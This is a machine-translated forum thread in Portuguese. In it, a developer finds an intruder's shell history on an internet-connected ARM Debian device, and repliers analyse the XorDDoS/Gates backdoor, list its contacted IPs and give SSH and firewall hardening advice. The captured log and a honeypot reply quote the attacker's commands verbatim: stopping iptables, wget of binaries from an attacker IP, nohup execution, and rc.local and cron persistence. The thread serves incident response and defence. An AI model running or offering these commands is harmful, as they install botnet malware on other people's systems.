Acabei de ser hackeado?

Estou desenvolvendo um produto de consumo e ele deve estar conectado à Internet; portanto, como esperado, ele está conectado à Internet para que eu possa desenvolvê-lo adequadamente.

Fiquei uma hora ou duas e, quando voltei ao meu escritório, notei alguns comandos estranhos escritos no terminal.

Observando o arquivo de log do Linux chamado auth.log, posso ver as seguintes linhas (entre muitas outras):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

O endereço IP 40.127.205.162acaba sendo de propriedade da Microsoft .

Aqui estão alguns comandos que foram usados ​​enquanto eu estava fora:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

E mais:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Eu não tinha consciência disso. Como posso proteger meu produto corretamente?

Gostaria de publicar o auth.logarquivo completo . Como faço isso?

Além disso, o arquivo yjz1baixado parece ser um Trojan do Linux e tudo isso parece ter sido feito por algum tipo de grupo de hackers, de acordo com http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Devo ligar para a Microsoft e conversar com eles? O que devo fazer?

EDIT 2 :

Há uma boa razão para essa postagem atrair tanta atenção: você conseguiu gravar a sessão ao vivo inteira de um invasor no seu PC. Isso é muito diferente da nossa experiência cotidiana, onde lidamos com a descoberta das consequências de suas ações e tentamos corrigi-las. Aqui nós o vemos no trabalho, vemos ele tendo alguns problemas com o estabelecimento da porta dos fundos, refaz seus passos, trabalha febrilmente (talvez porque ele estivesse sentado em sua mesa, como sugerido acima, ou talvez, e na minha opinião mais provável, porque ele estava incapaz de executar o malware no sistema, leia abaixo) e tente implantar instrumentos de controle totalmente independentes. É isso que os pesquisadores de segurança testemunham diariamente com suas armadilhas de mel . Para mim, essa é uma chance muito rara, e a fonte de alguma diversão.

Você definitivamente foi hackeado. A evidência para isso não vem do snippet do auth.logarquivo que você exibiu, porque isso relata uma tentativa malsucedida de login, ocorrendo em um curto espaço de tempo (dois segundos). Você notará que a segunda linha indica Failed password, enquanto a terceira relata uma pre-authdesconexão: o cara tentou e falhou.

A evidência vem do conteúdo dos dois arquivos http://222.186.30.209:65534/yjze http://222.186.30.209:65534/yjz1que o invasor baixou no seu sistema.

Atualmente, o site está aberto a qualquer pessoa para fazer o download, o que eu fiz. Eu os corri filepela primeira vez , o que mostrou:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Então eu os trouxe para uma VM Debian de 64 bits que eu tenho; uma análise do conteúdo por meio do stringscomando revelou muita coisa suspeita (referência a vários ataques conhecidos, a comandos a serem substituídos, um script que foi claramente usado para configurar um novo serviço etc.).

Em seguida, produzi os hashes MD5 dos dois arquivos e os alimentei no banco de dados de hash do Cymru para ver se eles são agentes conhecidos de malware. Enquanto yjznão é, yjz1é, e Cymru relata uma probabilidade de detecção por software antivírus de 58%. Ele também afirma que esse arquivo foi visto pela última vez há três dias, por isso é razoavelmente recente.

Executando o clamscan (parte do clamavpacote) nos dois arquivos que obtive:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

então agora estamos certos de que o software Linux padrão pode identificá-lo.

O que você deveria fazer?

Embora bastante novo, nenhum dos sistemas é muito novo, veja este artigo de janeiro de 2015 sobre o XorDdos , por exemplo. Portanto, a maioria dos pacotes gratuitos deve poder removê-lo. Você deve tentar: clamav, rkhunter, chkrootkit. Eu pesquisei no Google e vi que eles afirmam ser capazes de identificá-lo. Use-os para verificar o trabalho do antecessor, mas depois de executar esses três programas, você deve estar pronto para começar.

Quanto à questão maior, what should you do to prevent future infectionsa resposta de Journeyman é um bom primeiro passo. Lembre-se de que é uma luta contínua, que todos nós (inclusive eu!) Podemos muito bem ter perdido sem sequer saber.

EDIT :

No prompt (indireto) de Viktor Toth, gostaria de acrescentar alguns comentários. Certamente é verdade que o invasor encontrou algumas dificuldades: ele baixa duas ferramentas de hackers distintas, altera suas permissões várias vezes, as reinicia várias vezes e tenta várias vezes desativar o firewall. É fácil adivinhar o que está acontecendo: ele espera que suas ferramentas de hackers abram um canal de comunicação em direção a um de seus computadores infectados (veja mais adiante) e, quando ele não vê esse novo canal surgir na sua GUI de controle, teme que os hackers Como a ferramenta está sendo bloqueada pelo firewall, ele repete o procedimento de instalação. Concordo com Viktor Toth que esse estágio específico de sua operação não parece trazer os frutos esperados, mas eu gostaria de encorajá-lo muito para não subestimar a extensão dos danos infligidos no seu PC.

Eu forneço aqui uma saída parcial de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Isso fornece evidências de adulteração dos serviços (in /etc/init.de in /etc/rc.d), com crontab, com o arquivo de histórico de mysqle alguns arquivos nos procquais há links bash(o que sugere que uma versão fraudulenta personalizada do seu shell foi plantada). Em seguida, o programa gera uma solicitação HTTP (para um site de língua chinesa,

 Accept-Language: zh-cn

que dá substância ao comentário de David Schwartz acima), o que pode criar ainda mais estragos. Na solicitação, os binários ( Content-Type: application/x-www-form-urlencoded) devem ser baixados no PC atacado (GET) e carregados na máquina controladora (POST). Não consegui estabelecer o que seria baixado para o PC atacado, mas, dado o tamanho pequeno de ambos yjze yjz1(1,1MB e 600kB, respectivamente), posso me aventurar a supor que a maioria dos arquivos necessários para ocultar o rootkit, ou seja , a alteração versões de ls, netstat, ps, ifconfig, ..., seria baixado desta forma. E isso explicaria as tentativas febris do invasor de obter esse download.

Não há certeza de que o exposto acima esgote todas as possibilidades: certamente não temos parte da transcrição (entre as linhas 457 e 481) e não vemos um logout; além disso, especialmente preocupantes são as linhas 495-497,

cd /tmp;  ./yd_cd/make

que se referem a um arquivo que não vimos baixado e que pode ser uma compilação: se assim for, significa que o invasor (finalmente?) entendeu qual era o problema com seus executáveis ​​e está tentando corrigi-lo. Nesse caso, o pc atacado foi para sempre. [De fato, as duas versões do malware que o invasor baixou na máquina invadida (e eu na minha VM Debian de 64 bits) são para uma arquitetura inadequada, x86, enquanto o nome do PC invadido revela o fato de que ele estava lidando com uma arquitetura de braço].

A razão pela qual escrevi esta edição é instar o mais fortemente possível a pentear seu sistema com um instrumento profissional ou a reinstalá-lo do zero.

E, a propósito, se isso for útil a qualquer pessoa, esta é a lista dos 331 endereços IP aos quais as yjztentativas de conexão. Essa lista é tão grande (e provavelmente está destinada a aumentar ainda mais) que acredito que esse seja o motivo de adulteração mysql. A lista fornecida pelo outro backdoor é idêntica, o que, presumo, é o motivo para deixar uma informação tão importante em aberto ( acho que o invasor não desejou fazer um esforço para armazená-las no formato do kernel, portanto, ele colocou a lista inteira em um arquivo de texto não criptografado, que provavelmente é lido por todas as suas backdoors, para qualquer sistema operacional):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

O código a seguir

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

na lista acima, mostra que 302 de um total de 331 endereços estão na China continental, os demais estão em Hong Kong, Mongólia, Taiwan. Isso adiciona mais suporte à afirmação de David Schwartz de que este é principalmente um anel bot chinês.

EDIT 3

A pedido do @ vaid (o autor do OP, leia seu comentário abaixo), adicionarei um comentário sobre como fortalecer a segurança de um sistema Linux básico (para um sistema que fornece muitos serviços, esse é um tópico muito mais complexo). vaidafirma que ele fez o seguinte:

1. Reinstale o sistema

2. alterou a senha raiz para uma senha longa de 16 caracteres com letras maiúsculas e minúsculas e caracteres e dígitos.

3. Alterou o nome de usuário para um nome de usuário longo com 6 caracteres mistos e aplicou a mesma senha usada para root

4. porta SSH alterada para algo acima de 5000

5. desativou o login raiz do SSH.

Isso é bom (exceto que eu uso uma porta acima de 10.000, pois muitos programas úteis usam as portas abaixo de 10.000). Mas não posso enfatizar o suficiente a necessidade de usar chaves criptográficas para login ssh , em vez de senhas. Vou te dar um exemplo pessoal. Em um dos meus VPS, eu não sabia se alteraria a porta ssh; Deixei com 22, mas usei chaves criptográficas para autenticação. Eu tive centenas de tentativas de invasão por dia , nenhuma conseguiu. Quando, cansado de verificar diariamente se ninguém havia conseguido, eu finalmente mudei a porta para algo acima de 10.000, as tentativas de invasão foram zeradas. Veja bem, não é que os hackers sejam estúpidos (eles não são!), Eles apenas caçam presas mais fáceis.

É fácil ativar uma chave de criptografia com o RSA como algoritmo de assinatura, veja o comentário abaixo de Jan Hudec (obrigado!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Agora tudo o que você precisa fazer é copiar o arquivo id_rsapara a máquina da qual você deseja se conectar (em um diretório .ssh, também chmodeditado para 700) e, em seguida, emitir o comando

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Quando tiver certeza de que isso funciona, edite no servidor (= a máquina à qual você deseja se conectar) o arquivo /etc/ssh/sshd_confige altere a linha

#PasswordAuthentication yes

para

PasswordAuthentication no

e reinicie o sshserviço ( service ssh restartou systemctl restart ssh, ou algo assim, dependendo da distribuição).

Isso vai suportar muito. De fato, atualmente não há explorações conhecidas contra as versões atuais openssh v2do RSA e do empregador openssh v2.

Por fim, para realmente desligar sua máquina, você precisará configurar o firewall (netfilter / iptables) da seguinte maneira:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Isso, 1) permite conexões ssh da LAN e da WAN, 2) permite toda a entrada originada por suas solicitações (por exemplo, quando você carrega uma página da Web), 3) descarta todo o resto da entrada, 4) permite tudo a saída e 5-6) permite tudo na interface de loopback.

À medida que suas necessidades aumentam e mais portas precisam ser abertas, você pode fazer isso adicionando, no topo da lista, regras como:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

para permitir, por exemplo, que pessoas acessem seu navegador da Web.

Bem-vindo à Internet - onde qualquer servidor SSH aberto provavelmente será examinado, forçado a brutal e terá várias indignidades infligidas a ele.

Para começar, você precisa limpar completamente o armazenamento no produto. Imagine se você deseja transmiti-lo para análise forense, mas a instalação do Linux agora é suspeita.

Pouco de adivinhação, mas

1. Você foi forçado a usar brutalidade ou usa uma senha comum. É segurança por obscuridade, mas você não deseja uma senha de dicionário ou usar uma conta raiz aberta para SSH. Desative o acesso SSH raiz se for uma opção ou, pelo menos, altere o nome para que eles precisem adivinhar as duas. SSHing como root é uma prática terrível de segurança de qualquer maneira. Se você precisar usar root, efetue login como outro usuário e use su ou sudo para alternar.

2. Dependendo do produto, você pode querer bloquear o acesso SSH de alguma forma. Um bloqueio total parece uma boa ideia e permite que os usuários o abram conforme necessário . Dependendo dos recursos que você pode poupar, considere permitir apenas endereços IP em sua própria sub-rede ou algum tipo de sistema de limitação de login. Se você não precisar dele no produto final, verifique se está desligado.

3. Use uma porta não padrão. Segurança por obscuridade novamente, mas significa que um invasor precisa atingir sua porta.

4. Nunca use uma senha padrão. A melhor abordagem que eu já vi é gerar uma senha aleatoriamente para um dispositivo específico e enviá-la com o seu produto. A melhor prática é a autenticação baseada em chave, mas não tenho idéia de como você abordaria isso em um produto de mercado de massa.

Oh, você foi definitivamente hackeado. Alguém parece ter conseguido obter credenciais de root e tentou baixar um Trojan para o seu sistema. MariusMatutiae forneceu uma análise da carga útil.

Duas perguntas surgem: a) O atacante teve sucesso? Eb) o que você pode fazer sobre isso?

A resposta para a primeira pergunta pode ser um não. Observe como o atacante tenta repetidamente baixar e executar a carga, aparentemente sem sucesso. Suspeito que algo (SELinux, por acaso?) Atrapalhasse.

NO ENTANTO: O invasor também alterou seu /etc/rc.d/rc.localarquivo, na esperança de que, quando você reiniciar o sistema, a carga útil seja ativada. Se você ainda não tiver reiniciado o sistema, não reinicie até ter removido estas alterações a partir /etc/rc.d/rc.local. Se você já o reiniciou ... bem, azar.

Quanto ao que você pode fazer sobre isso: A coisa mais segura a fazer é limpar o sistema e reinstalar do zero. Mas isso nem sempre pode ser uma opção. Uma coisa significativamente menos segura a fazer é analisar exatamente o que aconteceu e limpar todos os vestígios, se possível. Novamente, se você ainda não reiniciou o sistema, talvez seja necessário apenas limpar /etc/rc.d/rc.local, remover qualquer coisa baixada pelo invasor e, por último, mas não menos importante, alterar a maldita senha!

No entanto, se o invasor já foi capaz de executar a carga, pode haver outras modificações no sistema que podem ser difíceis de detectar. É por isso que uma limpeza completa é realmente a única opção segura (e recomendada). Como você indicou, o equipamento em questão pode ser um objetivo de teste / desenvolvimento, portanto, talvez não seja tão doloroso quanto em outros casos.

Atualização : apesar do que escrevi sobre uma possível recuperação, desejo ecoar a forte recomendação de MariusMatutiae de não subestimar o dano potencial causado por essa carga útil e a extensão em que ela pode ter comprometido o sistema de destino.

Meu sshd-honeypot também viu esse tipo de ataque. Os primeiros downloads desse URL começaram em 29-01-16 10:25:33 e os ataques ainda estão em andamento. Os ataques são / vinham de

103.30.4.212
111.68.6.170
118.193.228.169

A entrada desses invasores foi:

serviço iptables stop
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 e
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Portanto, não há outras atividades além de instalar o backdoor para mais tarde.

Todos aqui ofereceram conselhos sólidos, mas, para ficar claro, suas prioridades devem fazer backup e verificar o que você realmente precisa desse sistema e depois limpá-lo com uma nova instalação da mídia conhecida como segura.

Antes de conectar seu host recém-instalado à Internet, execute estas idéias:

1. Crie um novo usuário não raiz e efetue login como esse usuário. Você nunca deve fazer login como root, apenas sudo (usuário substituto) quando necessário.

2. Instale o SE Linux, definições de configuração que permitem o controle de acesso obrigatório: https://wiki.debian.org/SELinux/Setup

3. Considere um firewall de hardware entre seu escritório / casa e a Internet. Eu uso o MicroTik, que possui excelente suporte da comunidade: http://routerboard.com/ .

Supondo que você esteja em uma linha do tempo para concluir seu trabalho remunerado, pelo menos faça o número 1. O nº 3 é rápido e barato, mas você precisará aguardar o pacote pelo correio ou dirigir até a loja.

1. É debian-armhf seu hostname? Ou você usa uma instalação padrão com as configurações padrão? Não há problema com isso, mas você não deve permitir que o host seja diretamente exposto à Internet (ou seja, não protegido pelo seu modem, pelo menos).

2. Parece que o verdadeiro problema vem do 222.186.30.209 (consulte http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Você não deve prestar muita atenção em ver o IP da Microsoft. Os IPs podem mais ou menos ser falsificados / falsificados com bastante facilidade.

3. Uma maneira usual de conectar-se à Internet é encaminhar uma lista conhecida de portas do seu IP público (por exemplo, 8.8.8.8) para o seu local (por exemplo, 192.168.1.12).

   • Por exemplo, não encaminhe todas as conexões de entrada de 8.8.8.8 (público) para 192.168.1.12 (local).

   • Encaminhar apenas as portas 22 e 25 (ssh e email de entrada, respectivamente). Obviamente, você também deve ter pacotes / bibliotecas ssh e smtp atualizados .

4. Qual é o próximo? Desconecte o host e altere as senhas (em qualquer computador associado à organização) codificadas em scripts de shell (que vergonha!) Em /etc/shadow.

Como outros declararam, é bastante claro que a segurança do seu servidor foi comprometida. O mais seguro é limpar esta máquina e reinstalar.

Para responder à segunda parte da sua pergunta, se você não puder usar a autenticação de chave pública, recomendo pelo menos configurar o Fail2Ban e executar o SSH em uma porta não padrão. Também desabilito o acesso SSH raiz.

O Fail2Ban ajudará a atenuar ataques de força bruta ao proibir endereços IP que não logam um certo número de vezes.

Configurar o sshd para escutar em uma porta não padrão ajudará pelo menos a reduzir a visibilidade do seu servidor SSH um pouquinho. Desabilitar o logon raiz também reduz um pouco o perfil de ataque. Em /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Com o login root desabilitado, você precisará mudar para o root suuma vez conectado, ou (mais preferencialmente) usar sudopara executar comandos privilegiados.

Servidores SSH estão constantemente sob ataque na internet. Algumas coisas que você faz:

1. Certifique-se de usar uma senha aleatória muito segura, para máquinas acessíveis pela Internet. Quero dizer, com 16 caracteres ou mais e completamente aleatório. Use um gerenciador de senhas para não precisar memorizá-lo. Se você pode memorizar sua senha, é muito simples.

2. Se você não precisar de SSH, desligue-o. Se você precisar, mas não precisar acessá-lo publicamente, execute-o em um número de porta alto e não padrão. Isso reduzirá drasticamente as tentativas de invasão. Sim, um hacker dedicado pode fazer uma verificação de porta, mas os bots automatizados não a encontrarão.

O snippet do seu log de autenticação mostra uma tentativa com falha. No entanto, se você procurar mais, sem dúvida verá um login bem-sucedido. Se você usa uma senha simples, é trivial para um bot entrar.

Você precisa isolar esta máquina da rede. Com muito cuidado, obtenha o que precisa e limpe-o.

A primeira coisa que qualquer um / todos deve fazer após configurar um servidor Linux / Unix frontal é desabilitar imediatamente root.

Seu sistema foi comprometido. Você tem um log de histórico de execução que pode ser interessante de analisar até certo ponto. Mas honestamente, dissecar os detalhes é um pouco exigente e não ajuda a proteger seu servidor. Ele mostra todos os tipos de besteiras que acontecem quando os botnet geram malware - que é provavelmente o que infectou seu servidor - infectando um sistema Linux. A resposta fornecida por @MariusMatutiae é agradável e bem pensada, e há outras que repetem que você foi invadido por rootacesso, que é o sonho de um malware / botnet.

Existem algumas explicações sobre como desativar, rootmas vou declarar por experiência pessoal, quase tudo que vai além do que descreverei no momento é um exagero. Isto é o que você deveria ter feito quando configurou o servidor pela primeira vez:

1. Crie um novo usuário com sudodireitos: Crie um novo usuário com um novo nome - algo como - cooldudeusando um comando como sudo adduser cooldudese você estivesse usando o Ubuntu ou outro tipo de sistema Debian. Em seguida, edite manualmente o sudoarquivo usando um comando como este sudo nano /etc/sudoerse adicione uma linha como cooldude ALL=(ALL:ALL) ALLabaixo da linha equivalente que deve ser lida root ALL=(ALL:ALL) ALL. Feito isso, efetue login cooldudee teste o sudocomando com um comando como - sudo walgo básico e não destrutivo - para verificar se os sudodireitos funcionam. Você pode ser solicitado a fornecer uma senha. Isso funciona? Tudo bom! Avance para o próximo passo.
2. Bloquear a rootconta: Ok, agora que cooldudeé responsável pelos sudodireitos, faça o login como cooldudee execute este comando para bloquear a conta raiz sudo passwd -l root. Se, de alguma forma, você criou um par de chaves SSH root, abra /root/.ssh/authorized_keyse remova as chaves. Ou, melhor ainda, renomeie esse arquivo authorized_keys_OFFassim, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFpara desativar efetivamente as chaves SSH. Eu prefiro o mais tarde porque, na hipótese de você ainda precisar de menos login com senha, basta mover esse arquivo de volta para o nome original e deve estar pronto.

FWIW, eu gerenciei dezenas de servidores Linux ao longo dos anos (décadas?) E sei por experiência que simplesmente desabilitar root- e configurar um novo usuário com sudodireitos - é a maneira mais simples e básica de proteger qualquer sistema Linux. Eu nunca tive que lidar com qualquer tipo de compromisso via SSH uma vez rootdesativado. E sim, você pode ver tentativas de login via auth.logmas não fazem sentido; se rootestiver desativado, essas tentativas nunca serão suficientes. Apenas sente-se e observe as tentativas fracassarem infinitamente!